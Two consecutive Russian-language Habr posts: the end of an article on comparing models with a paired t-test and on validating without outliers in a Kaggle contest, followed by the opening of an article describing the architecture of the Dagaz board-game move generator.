Итак, наша нулевая гипотеза состоит в том, что обе модели дают одинаковые результаты. В этом случае t-статистика распределена по Стьюденту с математическим ожиданием в 0. Соответственно, чем больше она отклоняется от 0, тем меньше вероятность того, что нулевая гипотеза выполняется, а средние в числителе дроби не совпали чисто случайно. Обратите внимание на знаменатель: S – это *дисперсия попарных разностей*. То есть, нас совершенно не интересует дисперсия скоров на фолдах для каждой модели в отдельности (то есть дисперсия  и ), нас интересует лишь насколько «стабильно» лучше или хуже одна модель другой. Именно за это и отвечает S, находясь в знаменателе.
Интересующий нас критерий реализован в библиотеке scipy в модуле stats, это функция ttest\_rel. Функция принимает на вход два списка (или массива) метрик на тестовых фолдах, а возвращает значение t-статистики и p-value для двусторонней альтернативы. Чем больше t-статистика по модулю, и чем меньше p-value, тем существеннее отличия. Наиболее распространенной практикой является считать, что отличия значимы если p-value < 0.05. Давайте посмотрим, как это работает на практике:
```
import xgboost as xgb
from sklearn.model_selection import cross_val_score, KFold
import pandas as pd
import numpy as np
from scipy.stats import ttest_rel
data = pd.read_csv('./input/train.csv')
y_train = data['y']
X_train = data.drop('y', axis=1).select_dtypes(include=[np.number])
scores_100_trees = np.array([])
scores_110_trees = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_100_trees_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(
n_estimators=100),
X=X_train, y=y_train,
cv=fold, scoring='r2')
scores_100_trees = np.append(scores_100_trees,
scores_100_trees_on_this_split)
scores_110_trees_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(
n_estimators=110),
X=X_train, y=y_train,
cv=fold, scoring='r2')
scores_110_trees = np.append(scores_110_trees,
scores_110_trees_on_this_split)
ttest_rel(scores_100_trees, scores_110_trees)
```
Мы получим следующее:
`Ttest_relResult(statistic=5.9592780076048273, pvalue=2.7039720009616195e-07)`
Статистика положительна, это значит, что числитель дроби положителен и соответственно среднее  больше среднего . Вспомним, что мы максимизируем целевую метрику R2 и поймем, что первый алгоритм лучше, то есть 110 деревьев на этих данных проигрывают 100. P-value значительно меньше 0.05, поэтому мы смело отвергаем нулевую гипотезу, утверждая что модели существенно различны. Попробуйте посчитать mean() и std() для scores\_100\_trees и scores\_110\_trees и вы убедитесь, что просто сравнение средних здесь не катит (отличия будут порядка std). А между тем модели отличаются, причем отличаются очень сильно, и t-критерий Стьюдента для связанных выборок помог нам это показать.
На этом я бы закончил первую часть, но почему-то я уже представляю себе, как многие читатели, вооружившись этими знаниями, устроят большущий GridSearch, наделают тысячи массивов scores\_xxx, сделают тысячи t-тестов, сравнивая это все с бейзлайном, и выберут алгоритм с наибольшей по модулю отрицательной t-статистикой (или положительной в зависимости от порядка аргументов ttest\_rel). Друзья, коллеги, подождите, не делайте этого. GridSearch – это очень коварная штука. Давайте вспомним, что наша t-статистика распределена по Стьюденту. Это значит, что, во-первых, это случайная величина, во-вторых, даже в предположении отсутствия каких бы то ни было различий, она может принимать значения от минус бесконечности до бесконечности. Задумайтесь: от минус бесконечности до бесконечности для моделей, которые на самом деле будут давать на новых данных практически одинаковый скор! С другой стороны, чем больше значение t-статистики по модулю, тем меньше вероятность его получить случайно. То есть, например, вероятность того, что мы получим что-то больше 3 по модулю, меньше 0.5%. Но вы же делали GridSearch, проверяли несколько тысяч разных моделей. Очевидно, что даже если они ну вообще не отличались, хоть раз вы, скорее всего, эту тройку преодолеете. И примете неверную гипотезу.
В статистике это называется множественной проверкой, и существуют разные методы борьбы с ошибками при этой самой множественной проверке. Я предлагаю воспользоваться самым простым из них — проверять меньше гипотез и делать это очень осмысленно. Сейчас поясню, как я вижу это на практике.
Вернемся к нашему xgboost и попробуем оптимизировать количество деревьев. Во-первых, я призываю оптимизировать гиперпараметры строго по одному. Пусть у нас бейзлайн — 100 деревьев. Посмотрим, что происходит с t-статистикой при плавном уменьшении количества деревьев до 50:
```
%pylab inline
t_stats = []
n_trees = []
for j in range(50, 100):
current_score = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(
n_estimators=j),
X=X_train, y=y_train,
cv=fold, scoring='r2')
current_score = np.append(current_score,
scores_on_this_split)
t_stat, p_value = ttest_rel(current_score, scores_100_trees)
t_stats.append(t_stat)
n_trees.append(j)
plt.plot(n_trees, t_stats)
plt.xlabel('n_estimators')
plt.ylabel('t-statistic')
```
То, что мы видим на графике — это хорошая ситуация. Когда у нас около 50 деревьев, ответы модели не сильно отличаются от бейзлайна со ста деревьями. При увеличении количества деревьев — отличия увеличиваются, алгоритм начинает предсказывать лучше: где-то в районе 85 мы имеем оптимум, и далее t-статистика падает, то есть алгоритм приближается к нашему бейзлайну. Посмотрев на график становится очевидно, что оптимальное количество деревьев примерно 83. А вполне можно взять 81, 82, 83, 84, 85 и усреднить. Подобного рода усреднения позволяют, практически бесплатно в смысле наших усилий, улучшить обобщающую способность и итоговый скор, я часто пользуюсь этим приемом. Я надеюсь, что из всех этих рассуждений становится понятно, что на подобных графиках нам интересен не просто глобальный оптимум, а оптимум, к которому функция плавно стремится и от которого плавно уходит. При достаточно большом количестве точек на графике мы вполне можем получить случайные всплески, которые могут быть и больше интересующего нас оптимума. Но мы отличаемся от GridSearch в том числе и тем, что будем брать не просто точку с максимальным (минимальным) значением t-статистики, а будем подходить к этому чуть более разумно.
Именно для того, чтобы была возможность смотреть на подобные графики, я призываю оптимизировать гиперпараметры по очереди. В некоторых случаях может быть оправдано перейти к 3-х мерному scatter-plot, на котором можно следить за метрикой в зависимости от двух гиперпараметров.
К сожалению, я не могу резюмировать первую часть планом вида сначала делай так, потом так, поскольку настройка гиперпараметров по кросс-валидации — дело очень тонкое и требующее постоянного анализа. Единственное, на чем я однозначно настаиваю: никогда не пытайтесь попасть в десятку — это невозможно. То, что на кросс-валидации 148 деревьев лучше, чем 149, совершенно не означает, что на тесте будет так же. Не уверены — усредняйте, потому что усреднение — это одна из очень немногих вещей, которая модель: а) точно не испортит, б) скорее всего улучшит. И осторожнее с GridSearch – этот алгоритм очень хорошо умеет создавать видимость оптимизации гиперпараметров. По меньшей мере по тем гиперпараметрам, которые вы считаете важными в данной задаче, необходимо вручную убедиться в том, что вы нашли действительно оптимальное значение, а не случайный всплеск среди белого шума.
### Опасность переобучения на выбросах
Во второй части своего поста я буду рассуждать о том, что такое кросс-валидация в принципе, в чем и как она нам может помочь, а в чем не может. Предыстория такова: применив валидацию, о которой я говорил в первой части, я начал улучшать модель: что-то где-то подкручивать, отбирать фичи, добавлять новые, в общем заниматься тем, чем мы всегда занимаемся при решении kaggle. К проверке статистических гипотез я подходил очень консервативно, старался проверять их как можно меньше и как можно более разумно. Достаточно быстро я пришел к тому, что средний R2 на кросс-валидации был примерно 0.58. Как мы знаем сегодня, лучший скор на прайвате (private leaderboard) — это 0.5556. Но тогда я этого не знал, а на паблике (public leaderboard) топ был уже 0.63+, хотя и понятно было, что смотреть на чужие паблик скоры абсолютно бесполезно (leaderboard probing в этом соревновании имел небывалый масштаб). Холодный душ случился тогда, когда я сделал сабмит лучшей, по моему мнению, модели и получил на паблике 0.54, при том, что бейзлайн давал 0.55. Стало очевидно, что что-то здесь не так.
На этом моменте я бы хотел остановиться чуть подробнее. Если бы, например, это был не kaggle, а работа, я бы имел все шансы отправить такую модель в продакшн (по крайней мере попытаться это сделать). Казалось бы, что такого? У меня такая хитрая кросс-валидация, я очень аккуратно подобрал все параметры и получил высокий скор, какие могут быть вопросы? Но нужно понимать, и всегда помнить о том, о чем я тогда забыл — кросс-валидация в принципе не может оценивать перформанс модели на новых данных. На всякий случай поясню, что словом перформанс (англ. performance) я обозначаю качество работы модели в терминах выбранной метрики. Вы делаете кросс-валидацию снова и снова, выбирая только те модели, которые лучше работают на тестовых фолдах. Не на каких-то тестовых фолдах, а на совершенно конкретных и одинаковых тестовых фолдах. И даже если вы, скажем, периодически меняете random\_state у Kfold, делая тем самым фолды различными, они все равно, в конечном итоге, собираются из объектов вашей обучающей выборки. И, подбирая гиперпараметры, вы натаскиваете алгоритм именно на этих объектах. Если данные хорошие, и мы все делали аккуратно, то это может привести к тому, что алгоритм будет работать чуть лучше и на новых объектах, но одинакового перформанса в общем случае ждать не стоит. А в случае, когда данные достаточно шумные, есть риск столкнуться с ситуацией, с которой столкнулся я и о которой буду рассуждать до конца поста.
Для себя я понял, что абсолютно необходимо в любой задаче иметь отложенную выборку. Я бы предложил делать так: получили задачу — сразу сделали отложенную выборку и выкинули ее из трейна. Посчитали, какой результат дает бейзлайн на этой выборке. Потом можно долго и упорно улучшать модель и наконец, когда уже самая лучшая модель готова, пришло время посмотреть скор на отложенной выборке. В случае kaggle роль отложенной выборки может играть паблик лидерборд. Но важно помнить, что чем чаще мы смотрим скор по отложенной выборке, тем хуже он оценивает перформанс модели на новых данных.
Возвращаюсь к Мерседесу. Получив на паблике скор ниже, чем у моего бейзлайна, я понял, что переобучился. Сейчас я продемонстрирую как происходит переобучение при, казалось бы, правильном подходе к подбору гиперпараметров. Для наглядности у нас будет только одна фича. Пусть истинная зависимость — синус, добавим нормальный шум и добавим нормальные же выбросы (на 15% объектов выбросы поменьше, на 4% — побольше):
```
import numpy as np
import seaborn as sns
import numpy as np
%pylab inline
np.random.seed(3)
X = 8 * 3.1415 * np.random.random_sample(size=2000)
y = np.sin(X) + np.random.normal(size=X.size, scale=0.3)
outliers_1 = np.random.randint(low=0, high=X.shape[0], size=int(X.shape[0] * 0.15))
y[outliers_1] += np.random.normal(size=outliers_1.size, scale=1)
outliers_2 = np.random.randint(low=0, high=X.shape[0], size=int(X.shape[0] * 0.04))
y[outliers_2] += np.random.normal(size=outliers_2.size, scale=3)
sns.boxplot(y)
plt.show()
plt.scatter(x=X, y=y)
plt.show()
```
Боксплот чем-то похож на то, что мы видели для таргета в задаче от Мерседеса, но выбросы присутствуют с обеих сторон.
Пусть первая тысяча объектов — это наша обучающая выборка, в вторая — тестовая. Посчитаем скоры бейзлайна на кросс-валидации:
```
import xgboost as xgb
from sklearn.model_selection import cross_val_score,KFold
from scipy.stats import ttest_rel
X_train = X[:X.shape[0]/2].reshape(-1,1)
y_train = y[:X.shape[0]/2]
X_test = X[X.shape[0]/2:].reshape(-1,1)
y_test = y[X.shape[0]/2:]
base_scores_train = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(
min_child_weight=2),
X=X_train, y=y_train,
cv=fold, scoring='r2')
base_scores_train = np.append(base_scores_train,
scores_on_this_split)
```
Теперь, так же как мы делали в первой части, сравним с бейзлайном модели с меньшим количеством деревьев и посмотрим на зависимость t-статистики от n\_estimators:
```
t_stats_train = []
for j in range(30, 100):
scores_train = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_on_this_split = cross_val_score(
estimator=xgb.XGBRegressor(
n_estimators=j, min_child_weight=2),
X=X_train, y=y_train, cv=fold, scoring='r2')
scores_train = np.append(scores_train,
scores_on_this_split)
t_stat,p_value = ttest_rel(scores_train, base_scores_train)
t_stats_train.append(t_stat)
plt.plot(range(30, 100), t_stats_train)
plt.xlabel('n_estimators')
plt.ylabel('t-statistic')
```
Получим очень красивый график, из которого сделаем вывод, что оптимально брать примерно 85 деревьев:
Но посмотрим, как себя поведут эти алгоритмы на новых данных:
```
est_base = xgb.XGBRegressor(min_child_weight=2)
est_base.fit(X_train, y_train)
base_scores_test = r2_score(y_test, est_base.predict(X_test))
scores_test = []
for i in range(30,101):
est = xgb.XGBRegressor(n_estimators=i, min_child_weight=2)
est.fit(X_train,y_train)
scores_test.append(r2_score(y_test, est.predict(X_test)))
plt.plot(range(30, 101), scores_test)
plt.xlabel('n_estimators')
plt.ylabel('r2_score_test')
```
С удивлением обнаруживаем, что 85 — это далеко не оптимальное количество деревьев для нашего датасета. Виноваты в этом конечно же выбросы, и именно в такую ситуацию, как мне кажется, я попал на конкурсе Мерседес. Если вы поэкспериментируете с этим кодом, то увидите, что совершенно не обязательно оптимум на трейне будет правее оптимума на тесте, но достаточно часто их x-координата не будет совпадать.
Чтобы оценить, как сильно влияют выбросы на скор, предлагаю помучить эту строчку:
```
from sklearn.metrics import r2_score
r2_score(
[1, 2, 3, 4, 5, 11],
[1.1, 1.96, 3.1, 4.5, 4.8, 5.3]
)
```
Обратите внимание на то, что если мы, например, вместо 1.1 во втором массиве напишем 1.0, скор изменится в четвертом знаке. А теперь попробуем подобраться на 0.1 ближе к нашему аутлаеру — заменим 5.3 на 5.4. Скор меняется сразу на 0.015, то есть примерно в 100 раз сильнее, чем если бы мы на столько же улучшили предсказание «нормального» значения. Таким образом, скор в основном определяется не тем, насколько точно мы предсказываем «нормальные» значения, а тем, какая из моделей случайно оказалась чуть лучше на выбросах. И становится понятно, что отбирая признаки и настраивая гиперпараметры, мы непроизвольно выбираем те модели, которые чуть лучше угадывают выбросы на тестовых фолдах, а не те, которые лучше предсказывают основную массу объектов. Это происходит просто потому, что модели, угадывающие аутлаеров, получают более высокий скор, а перформанс на основной массе объектов не очень сильно влияет на скор.
В большинстве задач, я полагаю, выбросы предсказать невозможно. Это нужно проверить, и если это так, открыто это признать. А коль скоро мы не можем их предсказать, давайте и не учитывать их при сравнении моделей. Действительно, если любая из наших моделей одинаково плохо будет предсказывать выбросы на новых данных, какой смысл тогда оценивать предсказания выбросов на кросс-валидации? Есть две стратегии поведения в таких ситуациях:
1. Давайте удалим все выбросы из обучающей выборки и только после этого будем обучать и валидировать модели. О том, как именно удалять выбросы, поговорим чуть позже, пока считаем, что как-то мы это делать умеем. Такая стратегия действительно очень сильная, победитель конкурса Sberbank Russian Housing Market Евгений Патеха валидировался именно так: [youtu.be/Eo4WMlcT7uo](https://youtu.be/Eo4WMlcT7uo), [www.kaggle.com/c/sberbank-russian-housing-market/discussion/35684](https://www.kaggle.com/c/sberbank-russian-housing-market/discussion/35684). Единственная проблема этого метода состоит в том, что зачастую выкидывание аутлаеров смещает среднее предсказание, и мы вынуждены это смещение как-то компенсировать.
2. Не будем ничего удалять из обучающей выборки, но при валидации (при вычислении значения метрики на тестовых фолдах) не будем учитывать выбросы. Я использовал именно такую схему. Мою реализацию такой кросс-валидации вы можете найти в [этом репозитории](https://github.com/Danila89/cross_validation_custom), функция называется cross\_validation\_score\_statement, определена в файле cross\_val\_custom.py. Еще раз, все вплоть до вызова метода fit (и включая его) мы делаем, ничего не выкидывая, затем мы делаем predict на тестовых фолдах, но метрику считаем только на объектах, не являющихся выбросами.
Как я уже говорил, получив очень низкий скор на паблике, я понял, что переобучился. Когда я начал валидироваться без аутлаеров, это переобучение сразу стало очевидно. Оказалось, что я слишком агрессивно отбирал признаки, что слишком много деревьев выращивал для своих xgboost'ов. Поправить все оказалось очень легко, я потратил примерно час на то, чтобы найти новый оптимум в пространстве гиперпараметров, и засабмитил результат. *Переход к валидации без аутлаеров сделал из решения 3000+ на прайвате решение на 11 место.*
Покажем, как это работает на нашем игрушечном датасете. Во-первых, необходимо определиться, кого считать аутлаером. Я считал аутлаерами объекты, на которых бейзлайн ошибается сильнее всего (ошибка out-of-fold предсказания больше какого-то порога). Порог подбирается исходя из того, сколько процентов обучающей выборки вы хотите объявить аутлаерами.
```
from sklearn.model_selection import cross_val_predict
base_estimator = xgb.XGBRegressor(min_child_weight=2)
pred_train = cross_val_predict(estimator=base_estimator, X=X_train, y=y_train, cv=5)
abs_train_error = np.absolute(y_train - pred_train)
outlier_mask = (abs_train_error > 1.5)
print 'Outliers fraction in train = ',\
float(y_train[outlier_mask].shape[0]) / y_train.shape[0]
```
Мы получим:
`Outliers fraction in train = 0.045`
То есть 4.5% объектов объявляются выбросами. Теперь посчитаем скоры на кросс-валидации для бейзлайна, а затем будем менять количество деревьев. Только теперь выбросы при вычислении скора учитываться не будут.
```
# import cross_val_custom from
# https://github.com/Danila89/cross_validation_custom
from cross_val_custom import cross_validation_score_statement
from sklearn.metrics import r2_score
base_scores_train_v2 = np.array([])
for i in range(10):
scores_on_this_split = cross_validation_score_statement(
estimator=xgb.XGBRegressor(
min_child_weight=2),
X=pd.DataFrame(X_train),
y=pd.Series(y_train),
scoring=r2_score, n_splits=5,
random_state=i,
statement=~outlier_mask)
base_scores_train_v2 = np.append(base_scores_train_v2,
scores_on_this_split)
t_stats_train_v2 = []
for j in range(30, 100):
scores_train_v2 = np.array([])
for i in range(10):
fold = KFold(n_splits=5, shuffle=True, random_state=i)
scores_on_this_split = cross_validation_score_statement(
estimator=xgb.XGBRegressor(
n_estimators=j,
min_child_weight=2),
X=pd.DataFrame(X_train),
y=pd.Series(y_train),
scoring=r2_score, n_splits=5,
random_state=i,
statement=~outlier_mask)
scores_train_v2 = np.append(scores_train_v2,
scores_on_this_split)
t_stat,p_value = ttest_rel(scores_train_v2, base_scores_train_v2)
t_stats_train_v2.append(t_stat)
plt.plot(range(30,100), t_stats_train_v2)
plt.xlabel('n_estimators')
plt.ylabel('t-statistic')
```
Получим такой график:
Видно, что, к сожалению, это не серебряная пуля, и оптимум все равно находится не на 50 деревьях, как хотелось бы. Но это уже и не 85 как было раньше, и экстремум не такой явный, что наводит на мысли о том, что имеет смысл усреднить по количеству деревьев от 60 до 95. А сделав это, мы вполне возможно получим результат, сопоставимый с тем, который мы бы получили, если бы знали, что на самом деле нужно брать 50.
И последнее, что я хочу показать — это как в действительности меняются предсказания нашего бустинга при росте количества деревьев, благо в одномерном случае это можно сделать. Для разных n\_estimators я буду строить предсказания алгоритма и склею это в gif:
```
X_plot = np.linspace(0,8 * 3.1415, num=2000)
est = xgb.XGBRegressor(n_estimators=70, min_child_weight=2)
est.fit(X_train, y_train)
plt.plot(X_plot, est.predict(X_plot.reshape(-1, 1)))
plt.xlabel('X')
plt.ylabel('Prediction')
```
Видим как сильно мешают аутлаеры работать нашей модели. Также видим, что после примерно n\_estimators=60 модель фактически перестает приближаться с исходной функции и занимается лишь тем, что переобучается на выбросах из обучающей выборки. Вспомним, что на наших «новых» данных лучше всего показывают себя 50 деревьев. А на анимации при n\_estimators=60, 70, 80 t-статистика на кросс-валидации продолжает увеличиваться, и увеличивается она именно благодаря удачному попаданию в аутлаеры. Когда я сделал эту анимацию, идея обучать модели на очищенном датасете стала мне казаться еще более привлекательной. Много чего еще можно сказать, глядя на эту гифку, но не смею вас больше задерживать.
Очень надеюсь, что вы не жалеете о потраченном на прочтение этого поста ~~вечере~~ времени. Эта тема сложная, неоднозначная и интересная, я буду рад вашим комментариям и возможности продолжить рассуждения, но уже не в режиме монолога. | https://habr.com/ru/post/336168/ | null | ru | null |
# Dagaz: Архитектура
***Все это так архитектура,
Вас от недуга излечу,
Вы мне доверьтесь, как врачу,
Поможет вам моя микстура.
Советы Тристана — "[Собака на сене](https://www.kinopoisk.ru/film/77206/)"***
В своей предыдущей [статье](https://habrahabr.ru/post/320474/) я много рассказывал о том, как устроен генератор ходов [Dagaz](https://github.com/GlukKazan/JoclyGames/blob/master/Z2J/src/js/debug/zrf-model.js). Пожалуй, я поставил телегу впереди лошади. Моё наиподробнейшее описание, совершенно не помогает понять главного — того, каким образом всё это можно использовать. На самом деле, это просто.
### **Проще некуда**
Для того, чтобы пользоваться генератором ходов, совершенно необязательно досконально разбираться в том, как он работает. Важно понимать назначение всего лишь трёх классов. И первый из них — это **ZrfBoard**. Как должно быть ясно из наименования, этот класс описывает доску.
**Я хочу, чтобы меня поняли правильно**
Я не говорю о размере или форме доски. Вся информация о допустимых позициях (полях доски), а также связях между ними (направлениях) хранится в экземпляре класса **ZrfDesign** и не изменяется в процессе игры! Я много писал об этом в [предыдущих](https://habrahabr.ru/post/242547/) [статьях](https://habrahabr.ru/post/270033/) и не хочу повторяться. Дизайн игры не является темой настоящий статьи. Мы можем рассматривать его как «чёрный ящик».
**ZrfBoard** содержит описание **состояния** игры, на момент начала определённого хода. По большей части, это информация о размещении на доске фигур. Для её изменения достаточно всего двух методов:
* **getPiece(position)** — возвращает объект класса **ZrfPiece**, содержащий информацию о фигуре размещённой на указанной позиции (или **null**, если эта позиция пуста)
* **setPiece(position, piece)** — помещает на указанную позицию фигуру (также как и в предыдущем случае, вместо фигуры может передаваться **null**)
Все позиции — это просто целочисленные значения (индекс большого линейного массива). Для преобразования в более привычное строковое представление (и обратно), используются глобальные функции **Model.Game.posToString** и **Model.Game.stringToPos**. Описание фигуры (**ZrfPiece**) немногим сложнее:
**Конструктор**
```
function ZrfPiece(type, player) {
this.type = type;
this.player = player;
}
```
Тип фигуры и её владелец (и то и другое — целочисленные значения). Важно понимать, что это неизменяемые значения. Один и тот же экземпляр **ZrfPiece** может использоваться на нескольких позициях доски одновременно и даже на позициях различных экземпляров **ZrfBoard**, описывающих состояние игры в разные моменты времени.
**Но что делать, если изменить фигуру необходимо?**
Например, шахматная [пешка](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%88%D0%BA%D0%B0), дойдя до последней горизонтали, может превратиться в одну из четырёх фигур, а в таких играх как "[Реверси](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81%D0%B8)" может изменяться владелец фигуры. Решение очевидно — любой метод, изменяющий «состояние» фигуры, на самом деле, просто возвращает новый экземпляр класса, оставляя старый объект без изменения:
**Превращение фигуры**
```
ZrfPiece.prototype.promote = function(type) {
return new ZrfPiece(type, this.player);
}
```
Может показаться, что я уделяю этому слишком много внимания, но на самом деле, это важно. Дело в том, что помимо информации о типе и владельце, класс **ZrfPiece** может содержать дополнительные числовые значения — атрибуты фигур. Простейший пример использования атрибутов — [рокировка](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0) в Шахматах). Признак того, что фигура перемещалась ранее и не может быть задействована в рокировке, может быть сохранён в одном из её атрибутов. Изменение значения любого атрибута также порождает новый экземпляр **ZrfPiece**, не изменяя существующий.
Есть ещё два метода, о которых необходимо знать, чтобы использовать **ZrfBoard**:
* **generate()** — возвращает массив **всех** ходов, доступных из текущей позиции
* **apply(move)** — применяет к текущей позиции выбранный ход
Хотя мы и можем изменять состояние **ZrfBoard** методом **setPiece**, мы не должны этого делать напрямую. Вместо этого, мы должны выбрать ход (один из списка всех возможных) и применить его к состоянию доски методом **apply**, который, как и в случае с изменением **ZrfPiece**, вернёт новый экземпляр объекта.
**Разумеется, ходы привязаны к игроку**
Каждый экземпляр **ZrfBoard** привязан к владельцу — игроку выполняющему очередной ход. Помимо перемещения фигур, метод **apply** переключает и игрока. Это не обязательно простое чередование двух игроков. Времена глупых ограничений [Jocly](http://wiki.jocly.com/index.php/Jocly_Basics) ушли в прошлое.
Вот и всё, что необходимо знать для применения **ZrfBoard**. Дизайн игры и связанные с ним алгоритмы генерации ходов могут быть очень сложными, но это ничего не меняет. Формируем все доступные ходы методом **generate** и применяем выбранный ход методом **apply** (получая новое состояние). Начальное состояние доски может быть получено при помощи глобальной функции **Model.Game.getInitBoard**.
### **Что бы мы без них делали**
Ходы — это то что переводит одно игровое состояние в другое. Проблема в том, что ходы далеко не всегда такие простые какими могут показаться. В [Шатрандже](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%82%D1%80%D0%B0%D0%BD%D0%B4%D0%B6) (непосредственном предшественнике [Шахмат](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)), для полного описания любого хода вполне достаточно задать начальную и конечную позицию. Даже взятия и превращения описывать не обязательно. Пешка всегда превращается в [ферзя](https://en.wikipedia.org/wiki/Ferz_(chess)), а взятие всегда «шахматное». Но уже в самих Шахматах всё не так просто!
Появляется [пешка](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%88%D0%BA%D0%B0), [способная бить фигуру не на том поле](https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D1%8F%D1%82%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%BF%D1%80%D0%BE%D1%85%D0%BE%D0%B4%D0%B5), на которое она ходит. Появляется "[рокировка](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)" — ход, при выполнении которого перемещаются сразу две фигуры! Становится понятно, что ход должен состоять из нескольких действий. Какие это действия? Я могу перечислить три типа:
* **movePiece(from, to, piece)** — перемещение фигуры
* **capturePiece(position)** — взятие фигуры (удаление её с доски)
* **dropPiece(position, piece)** — сброс фигуры (добавление на доску)
Хочу заметить, что все эти сложности не только для того, чтобы реализовать «рокировку» и «взятие на проходе». Эти правила — пробный камень, позволивший вовремя расширить функциональность **универсального** решения. Те же самые «каскадные» ходы, которые команда [Ziilions of Games](http://www.zillions-of-games.com/) ввела в свой продукт для того, чтобы выполнять в шахматах рокировку, можно с большим успехом использовать во множестве других, совершенно непохожих игр. Например, в этой:
Каскадный ход — это не обязательно рокировка! Фактически — это любой ход, при выполнении которого перемещается сразу несколько фигур. Подобные «нестандартные» правила сильно обогащают продукт! И если Шахматы подарили нам ходы «каскадные», то и у [Шашек](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8) тоже нашлось чему поучиться.
Составной ход выполняется «по частям» и это важно, потому что, часто, игрок может выбрать несколько различных продолжений выполняемого им составного хода. Ход не завершён, пока не выполнены все его частичные ходы, но удобный пользовательский интерфейс должен предоставлять возможность выполнения каждого частичного хода по отдельности! С другой стороны, AI-ботам удобнее рассматривать составной ход целиком, как единую сущность изменяющую игровое состояние. Это действительно сложная проблема, на которой я остановлюсь ниже.
Что ещё нужно знать о классе ZrfMove? Всего два метода:
* **toString(part)** — получение текстовой нотации хода
* **changeView(part, view)** — изменение визуального представления игры
Из предыдущего раздела, мы помним, что можем применить ход к экземпляру класса **ZrfBoard**, чтобы изменить позицию на доске. Метод **changeView** делает то же самое, но по отношению к внешнему, для модели игры, визуальному представлению. Представление получает от модели простые команды:
* **move(from, to, player, piece)** — перемещение фигуры
* **delete(position)** — удаление фигуры с доски
* **create(position, player, piece)** — добавление фигуры
Это почти то же самое, что и действия добавляемые в ход, за тем исключением, что вместо числовых значений, используемых моделью, передаются строки, описывающие позиции и фигуры в известной представлению текстовой нотации. Что касается метода **toString**, то это просто получение нотации хода в понятной человеку форме. Ненулевое значение **part** позволяет получить описание соответствующего частичного хода. Передав в аргумент 0, можно получить полное описание составного хода.
### **Оправданная сложность**
Итак, на каждом этапе игры у нас имеется игровое состояние и список ходов (разрешённых правилами игры) на выбор. Этого вполне достаточно для корректной работы приложения, но с точки зрения реализации пользовательского интерфейса, список ходов — не самая удобная вещь. Давайте ещё раз посмотрим, как работает пользовательский интерфейс Zillions of Games:
Прежде всего, пользователь выбирает одну из своих фигур (указывая поле, на котором она находится). Далее, если имеется несколько вариантов выполнения частичного хода, целевые позиции помечаются и пользователь может перетащить на одну из них фигуру. Если же возможный ход всего один, он выполняется немедленно (работает опция **«smart moves»**). Это удобно. Это **гораздо** удобнее чем предложение выбора из следующего списка ходов:
1. **d8-g8-g3-d3-d7-h7-h5-a5-a7-e7-e1-c1-c6-a6-a1**
2. **d8-g8-g3-d3-d7-h7-h5-a5-a7-e7-e1-a1-a6-c6-c1**
3. **d8-h8-h3-d3-d7-g7-g5-a5-a7-e7-e1-c1-c6-a6-a1**
4. **d8-h8-h3-d3-d7-g7-g5-a5-a7-e7-e1-a1-a6-c6-c2**
5. **...**
Вообще говоря, это работа для **контроллера**, но здесь слишком много специфичной логики уже реализованной в **модели**. Контроллеру совершенно не обязательно знать о том, что ходы делятся на перемещающие фигуры (возможно несколько фигур сразу) и добавляющие их на доску. Контроллер не должна волновать правильность порядка выполнения действий, при выполнении каждого частичного хода. Опция **«smart moves»** его также волновать не должна. Всё это реализовано в модели!
* **getPositions()**
* **setPosition(position, view)**
Вот два самых главных метода нового класса, призванного обеспечить взаимопонимание модели и контроллера. Вместо «плоского» массива ходов, мы получаем от **ZrfBoard** экземпляр класса **ZrfMoveList**, содержащий этот список. Контроллер вызывает метод **getPositions**, для получения массива позиций, доступных для выполнения очередного шага. Одна из этих позиций выбирается при помощи пользовательского интерфейса и передаётся методу **setPosition**.
Этот метод возвращает контроллеру текстовую нотацию частичного хода (для отображения в списке ходов), вносит необходимые изменения в визуальное представление доски и готовит **ZrfMoveList** к выполнению следующего шага. Цикл повторяется до тех пор, пока очередной вызов **getPositions** не вернёт пустой список. Это означает, что мы дошли до конца составного хода. Чаще всего, выбранной последовательности шагов соответствуют всего один возможный ход из всего списка. Чаще всего, но не всегда!
Здесь возможно четыре различных хода с совпадающими начальными и конечным позициями перемещения. Для нас это означает, что после того как метод **getPositions** вернёт пустой список, **ZrfMoveList** будет содержать более одного допустимого хода. Контроллер должен предоставить пользователю возможность выбора из этого списка. Список допустимых ходов может быть получен вызовом метода **getMoves** (по мере передачи в **setPosition** новых значений, этот список будет уменьшаться). Есть ещё несколько методов, о которых стоит сказать:
* **back(view)** — откат к предыдущему частичному ходу
* **getCapturing()** — получение списка позиций, находящихся «под боем»
* **canPass()** — проверка возможности завершения составного хода
* **pass()** — завершение составного хода
Если с первыми двумя методами всё более менее понятно, то следующие два требуют пояснения. Существуют игры (шашки к ним не относятся), в которых игрок имеет право прервать выполнение составного хода. Например, в "[Фанороне](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%BD%D0%BE%D1%80%D0%BE%D0%BD%D0%B0)", хотя первое взятие является обязательным (как и в шашках), игрок может прервать цепочку взятий в любой момент:
